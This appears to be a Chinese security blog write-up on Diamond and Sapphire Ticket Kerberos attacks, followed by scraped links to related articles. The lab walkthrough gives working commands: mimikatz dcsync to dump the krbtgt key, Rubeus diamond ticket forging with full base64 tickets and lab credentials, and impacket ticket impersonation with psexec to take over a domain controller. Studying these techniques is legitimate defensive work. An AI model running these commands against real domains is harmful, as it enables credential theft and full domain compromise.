新一代Kerberos攻击 | 钻石票据与蓝宝石票据

0x01 前言

在了解票据攻击的过程中,看见了一篇文章使用Rubeus进行钻石票据攻击。但是没有原理,于是抱着学习的心态在Google上寻找文章发现除了钻石票据还有蓝宝石票据。

0x02 补充知识

在后渗透当中,咱拥有域控一定的权限之后就可以转储ntds.dit并获取krbtgt密钥。而黄金票据和白银票据的问题在于它们很容易被发现。一旦 KDC服务收到TGT/ST,并且在SIEM中收到日志,就很容易被现在的安全设备所检测出来。

黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。

钻石票据与蓝宝石票据的区别,在钻石票据攻击当中,修改是通过添加额外权限或完全修改所请求的 TGT 的原始 PAC。而在蓝宝石票据当中,则是使用 Kerberos 委派获取高权限用户的合法 PAC 来修改 TGT,并将其替换为原始票证的 PAC。

什么是 Kerberos 特权属性证书 (PAC)?

通过微软文档知道PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。完成身份验证后,下一个任务是决定是否授权特定请求。而 DC 包括 PAC 中的授权数据,例如安全标识符 (SID)相对标识符 (RID)

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/54d570b1-fc54-4c54-8218-f770440ec334

Kerberos委派

Microsoft 实施了 Kerberos 扩展以避免将用户的 TGT 保留在内存中。该扩展称为S4U(Service for User),它由S4U2Self和S4U2Proxy组成。S4U2Self 允许服务代表任何用户向其自身请求票证。S4U2Proxy 将允许一个服务向另一个服务进行身份验证。

我们在这里只简单写一下约束委派,这是蓝宝石票据利用需要的。那么其他委派可以参考:

https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/#:~:text=Kerberos%20Delegation%20is%20a%20security,account%20for%20any%20other%20network

S4U2Self

允许服务获取其自身的 Kerberos服务票证的扩展。服务票证 包含用户的组,因此可用于授权决策。要使用此协议扩展,发出KRB_TGS_REQ的用户必须至少具有一个服务主体名称 (SPN),以允许 DC 使用服务密钥加密生成的服务票证。

S4U2U KRB_TGS交换流程:

  • 服务填写PA_FOR_USER数据结构,其中包含有关服务代表其请求服务票证的用户的信息,并向 TGS 发送 KRB_TGS_REQ 消息。
  • 服务票证将通过 KRB_TGS_REQ 消息发送回服务。服务票据中返回的 PAC 包含授权数据。

U2U Authentication

允许客户端请求使用 TGT 中的会话密钥对 KDC 颁发的票证进行加密,该会话密钥来自颁发给验证身份验证方的 TGT。

https://www.rfc-editor.org/rfc/rfc4120#section-3.7

KRB_TGS_REQ 将具有以下功能:

  • extra-tickets:将包含从中获取秘密密钥的 TGT
  • ENC-TKT-IN-SKEY:选项指示终端服务器的票证将在来自提供的附加 TGT 的会话密钥中加密。服务名称(sname)可以指用户,但不一定是具有 SPN 的服务。

U2U + S4U2Self

允许没有 SPN 的用户使用 S4U2Self 扩展。在此交换中收到的服务票证使用服务器的密钥进行加密(在这种特定情况下,服务器可以是没有 SPN 的用户),因此,可以使用服务器的密钥来解密目标用户的 PAC。KRB_TGS_REQ 数据包将具有这两种方法的所有功能。

我们也可以参考微软的术语表,通过搜索引擎查找更加详细的文章

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39

0x03 钻石票据(Diamond Ticket)

钻石票据只需请求普通票证、解密 PAC、修改、重新计算签名并再次加密,生成与合法 PAC 高度相似的 PAC,并且还可以生成合法请求。

在这里我们使用Rebeus进行钻石票据攻击的利用。

利用前提:

  • krbtgt aes256密钥
  • 域密码
  • 域控高权限

首先我们使用mimikatz获取krgtgt的aes256密钥

shell C:\Users\administrator\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"

krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
user:mssql
password:1qaz@WSX
domain:de1ay.com
dc:dc.de1ay.com
ticketuser:administrator

在我们使用钻石票据之前,低权限的主机是无法访问域控的。那么有了以上这些信息,我们接着在低权限的机器里上传Rubeus开始进行钻石票据攻击

shell C:\Users\mssql\Desktop\Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap

那么我们成功拿到了ticket.kirbi

doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+szGDMdUZAhjLgE3qMBr5MTc5dckpDKwNP8b2X8tAIrhNFCvUzf9Cv5V/0ku9XV8NLAU9++HldhkqOlyhoC9lCqMF28LbqlVJej/50CH8Zyp6aG2/nj3MyJc4RRvaLi88zu5BRrvmTRzB7AYR6Y/oOSfB7dGl38uwWxQSLOfCHgXIiXScR0VEXTkmgkuHkYp4b+Z+FDgGvCObP4oqJ3FLgUwoFphLnujdjKLtMH0oQexkZvHOBzD7phLgjYl1SB0FycF+iPVc+2zId6IW4jgroSCyVKGo7jsuLcocwRlAw5poPPtJHaHid/gGEG7OFXllvdzU0eGiZSuZiDyDrWMTbYbmz0byS7gPEZCT7oXcnRQJUSD4Ogc+ISokf/8g/qYCN0FDgumPRh/D346Y4SRRkxuXKXMvUzhblSwBXTN+9RMfS9RbWX4C0v7ROO3Yse3/jx9omGSE+A25r8bZ9ZsFhXtDveKVBTbnugVAdevVjy90zNvRb0h7Q3ZB8jEKfZO0wPBmFiKRXP9/J+OIUeOU+tL/EpzDB80KDZg9/sUoOETxMwDW/KMAthL4FzWiKyfIyjR0QhhJy20RY4tHlC5fbC5beT179cJViw960oZNYOTsBtLYe1JHH+IJmVAeZ6SdACVTThOBIL1u/D0mowpwzuc/cZzGzlOO5KimN/3Yp0SUDIr62RYZz31LqdEoWoCcWE7Nz43uhxOLScXrA/q31MTQ+TzXlEJZGzWhbu2uXHzm49ZUUruORvg4fjkGFDdtl1tnazdnGrXAHA8ZH6r1sssYNAGgxfBY/NkOEKmEgLYOjZH35QiCQNo9/ZOl6titS23D8GJJIaq1SWf+gXeneZxQxfLxS49uIvXe+t49saOZcQ0AQ4C5tTAuWxUQ9ncCCyF/9XHvYVP6EBPyzaCgtQFn3TpbPfjtd5sa+NtOsCwiN5vKLia9taYEu9oAT+Ht+Ddy3O1SkLKVvWhrkIoLR345foUspatqwBY4vXDmVuxYNho3/XiWPR7obF8OYC8AggyIqDnJyUtS6dAkDlbbj98Tyvvhpo5CBynPBov0gl4wKmwkSvaawud77HCnPS1/nIbcSpTNrsfN+IrEgaWHqt7RiopeIAT8xHjwjol+GIYisCXj610woDHLDiVxcDEZGHxKeCI22DUXcAIBoQMvE/UsozNBEiqwHKU5WIiry295VXJkrJpIeIbDnLse+0EmTWQj6EaJv/SNREGC951bTmm4ZxQuMXOELawQ3jtlqqHaHYBtPODbwJd4/wXZ7/RVISVxkMZTrW6ICnLIqgsVCLgRmKtq6/RqdRq55qUA6nNhHNtKMR+UK+z/0Ao4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgFFYLhJYuJsG5bAITiU7Fdu0VY9GZQ7h7nyVe6T3FnhChCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA3MjkxOVqmERgPMjAyMzA4MTMxNzI5MTlapxEYDzIwMjMwODIwMDcyOTE5WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ==

接着就是利用拿到的ticket开始钻石票据攻击

shell C:\Users\mssql\Desktop\Rubeus.exe asktgs /ticket:doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+vCJjVu4BXMErHu9AbT4sKyrD3wcyA7nVgBYuedC2mW1SqJZY1C3u6HmSt0GkVEqKbV+vaj3kf+HdpwSmmj9gxyovEB18CoLR8r7hPpOA2jVsPZEC5jyT6jat+SPmhS0YQ5sHzHA/Qp6BINHSBCcQt4fhNMX0phz2ppa6wlIUty3vTRLtS8C0AzRZisN98ygNPaPOsGnsrHtlHfJr7FAYS39xUXuBQdFeqMF25Y3AnXcadtkCsjw/J2jTZZF05w2tRPitvBUQazC3wElgSJf4Hptq2ULF/ydCftPLPrxW7QMa2IlUHp44CwXMWr4g5WIuwMdMmQlSZ2BdEVuTSnp3jtGpBnsxhH/NZHtrCQFbTzUdiDe3fBIs38yPXUovcRwimDLv7mIoG/OvM/N0Q2ZQBEyQ1UxirowGYex2GaVOhud4TXNYT+ZXA+hGPD4fP0Aco60Ruj7mvoIibIXDL7RgQ+CZ/7lTOniIMa1s0DbIvBkyqu9feDDzZq/CQG93PRERr4iMR0pbr+GFEJq/ObUAVL+dAJXC6gZ2aVW5Bnnb2LxaP6ETkSgPJiWjBVviDB+U6aKMu9diH/qW4rbmBJlwORtMytTHhTMAlk/Q0/zMnJeyvVrPu0FPAcOANHTmjk/eLG3SHyHCr09c4A/K0HY6vBFVdYFG5+QoqsogFLNQ9+aIt3EyrIYcvdcEars2P95zoCrmLVSEDUDo7Oug5pixYYmkx6McgjUeoHkVeWrTH9lhsRY5HsT1HtwzcB1p2skO82mU21ISdxsFVSuLCTPwj1Zshy0pEx/wMLMz5KeAx7KIFuVFQVO4/0bSxJPHWY4q9R6Tbdy0C1kAWdeDJmrmtKw8OKY7nm9kS38WDwgOHOzRVoIdlrPCwL0DStD409P0OVUmTFqq1VevKwpeH5d/TetK35MLy6JfW52oH9dSM2LStQTwLGHqZ0/2O/WzDlzxXfTvBPYGO4kU05yrGplQhNX7lRwSn7FIHaHQ+HQ1XsPsR7Mb6MDBlo1ViNOCd/Bf9QhKKfcF9nB/9PFcHLiHzmwy5NDP53WG9GD07jBHJzxqde3NrhuzfThoh9OiggPQEvDvr4F+s4oSuLiHTZE01Ly/8jfyk3xsAv7nxdxibe60SDYGVINhG2RZos73O4fbSPqHIResToAobklkLFVePCTQhgcF/xwKa3MaA81V9LfVzMcTAFnnWtCLhIunesKCZn3UVuwyrTR6kgnshIgPZysFeppBpqpHRN+XpGc7YJdRo6f5j1WU6L9d61olLb19xDjc4CfeYwJiSZEY48d47WVu5Ruk35ZevqV8QfI9NWSGjwefCmGPXqjPLLo4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgcoXEQyOHq+NrtOFk6yBj7RsmO81Vqmbi4PvqaJmJqIqhCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA0MTgxNlqmERgPMjAyMzA4MTMxNDE4MTZapxEYDzIwMjMwODIwMDQxODE2WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ== /service:cifs/dc.de1ay.com /ptt /nowrap

成功以低权限机器访问域控!就此钻石票据也利用成功了。

0x04 蓝宝石票据(Sapphire Ticket)

蓝宝石票据攻击可以创建一个模拟任何用户的 TGT,结合 S4U2Self + U2U 组装真正的 TGT 和真正的 PAC。该 PAC 会替换合法票据中的 PAC

我们目前通过刚才的lsadump::dcsync /domain:de1ay.com /all来获取域的安全标识符(SID)

咱接下来使用的是impacket,下面这个Github项目是已经添加-impersonate功能的ticketer.py

https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py

由于目前我环境的问题,这边用的资料的截图作为例子!

目前我们有以下信息

domain admin:snapattack
domain:snapattcker.labs
user:vgullible
pass:Passw0rd1
aesKey:fec5d... ....
domain-sid:S-1-5 ... ...
DC:arrakis.snapattack.labs

那么我们就可以开始进行蓝宝石票据攻击

python3 ticketer.py -request -impersonate 'snapattack' -domain 'snapattack.labs' -user 'vgullible' -password 'Passw0rd1' -aesKey 'fec5d... ....' -domain-sid 'S-1-5-21-... ...' 'snapattcker'

export KRB5CCNAME=snapattcker.cache
python3 psexec.py snapattack.labs/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n

执行完之后,蓝宝石票据就攻击成功了。我们可以直接再次接管域控。

0x05 结尾

学习学习新技术,多涨涨自己的技术知识面!

# 参考链接:
https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/
https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/
https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/#post-126011-_19wo0e5qmjx8

文章来自https://mp.weixin.qq.com/s/Swp3eptexjZOFD-WoZ9ZYQ

新一代Kerberos攻击 钻石票据与蓝宝石票据的更多相关文章

  1. 单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题

    单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题 今天遇到一个问题,在主站点现在配置的应用和主站点登录会话状态不能共享,进入子站点应用 ...

  2. 域渗透之票据传递攻击(pass the ticket,ptt)

    票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...

  3. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  4. Kerberos的黄金票据详解

    0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...

  5. 伪造TGT黄金票据

    通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题 第一个问题:如何证明你本人是XXX用户的问题   由Authentication Server负责 第二个问题:提供服务的服 ...

  6. 域渗透 | kerberos认证及过程中产生的攻击

    ​文章首发于公众号<Z2O安全攻防>​ 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...

  7. 内网安全之:黄金&白银票据传递域控制器权限维持

    内网安全之:黄金&白银票据传递域控制器权限维持 目录 内网安全之:黄金&白银票据传递域控制器权限维持 1 Golden Ticket 1.1 导出 krbtgt 的 NTLM Hash ...

  8. 深入浅出了解OCR识别票据原理(Applying OCR Technology for Receipt Recognition)

    原文:Applying OCR Technology for Receipt Recognition 译文:深入浅出了解OCR识别票据原理 英文票据识别技术, 非中文票据识别技术, 中文情况的ocr更 ...

  9. kafka-producer kerberos 原理和配置

    kerberos简单介绍 kerberos这一名词来源于希腊神话“三个头的狗---地狱之门守护者”后来沿用作为安全认证的概念,该系统设计上 采用客户端/服务器结构与DES(Data Encryptio ...

  10. 域渗透-凭据传递攻击(pass the hash)完全总结

    总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki  https://en.wikiped ...

随机推荐

  1. ADG级联备库环境PSU应用验证

    上篇文章 源端为备库的场景下Duplicate失败问题 我只在中间备库环境应用了PSU,解决了级联备库从中间备库duplicate数据库的问题: 细心的朋友已经发现,因为是备库环境,并没有做数据库执行 ...

  2. Hadoop的核心配置文件

    1. core-site.xml:该配置文件包含了Hadoop通用配置,例如Hadoop的文件系统和I/O设置.Hadoop日志目录.Hadoop缓存设置等. 2. hdfs-site.xml:该配置 ...

  3. Apache Hudi 1.x 版本重磅功能展望与讨论

    Apache Hudi 社区正在对Apache Hudi 1.x版本功能进行讨论,欢迎感兴趣同学参与讨论,PR链接:https://github.com/apache/hudi/pull/8679/f ...

  4. Java中的金钱陷阱

    前言 有多少小伙伴是被标题 骗 吸引进来的呢,我可不是标题党,今天的文章呢确实跟"金钱"有关系. 但是我们说的不是过度追求金钱而掉入陷阱,而是要说一说在Java程序中,各种跟金钱运 ...

  5. 如何判断Keil MDK ARM中已经破解?如何判断Keil MDK ARM中已经安装了相应的器件库?如何判断CubeMX的器件库已经安装成功?

    如何判断CubeMX的器件库已经安装成功?请对照下图 如何判断Keil MDK ARM中已经安装了相应的器件库?请看下图 如何判断CubeMX的器件库已经安装成功?请对照下图

  6. 带你体验AI系列之云原生最佳实践--免费体验GPT-4教程

    前言 ​ [GPT-4]是OpenAI最新推出的大型语言模型,它支持图像和文本输入,以文本形式输出.它比GPT-3.5更大.更强.更猛.最重要的是据与研究表明,他在某些场景下,可以通过图灵测试.但是, ...

  7. 闺蜜机 StanbyME 产品随想

    今天媳妇告诉我,现在小度这边推出一款叫 "闺蜜机"的可用移动的IPAD设备,我点开链接一看,就感觉兴趣不大,不就是一款把屏幕做的更大些的IPAD了吗? 有哪些更多创新呢?为什么会需 ...

  8. 前端vue uni-app多图片上传组件,支持单个文件,多个文件上传 步骤条step使用

    快速实现多图片上传组件,支持单个文件,多个文件上传 步骤条step使用; 下载完整代码请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plugin?id=1274 ...

  9. C++内存模型&空指针、野指针、函数指针和回调函数

    C++内存模型&空指针.野指针.函数指针和回调函数 C++内存模型 栈与堆的区别: 1.管理方式不同 栈是系统自动管理的,在超出作用域后,将自动被释放 堆是手动释放,若程序中不释放,程序结束后 ...

  10. 十大功能特性,助力开发者玩转API Explorer

    摘要:华为云API Explorer为开发者提供一站式API解决方案统一平台,集成华为云服务所有开放API,支持全量快速检索.可视化调试.帮助文档.代码示例等能力,帮助开发者快速查找.学习API和使用 ...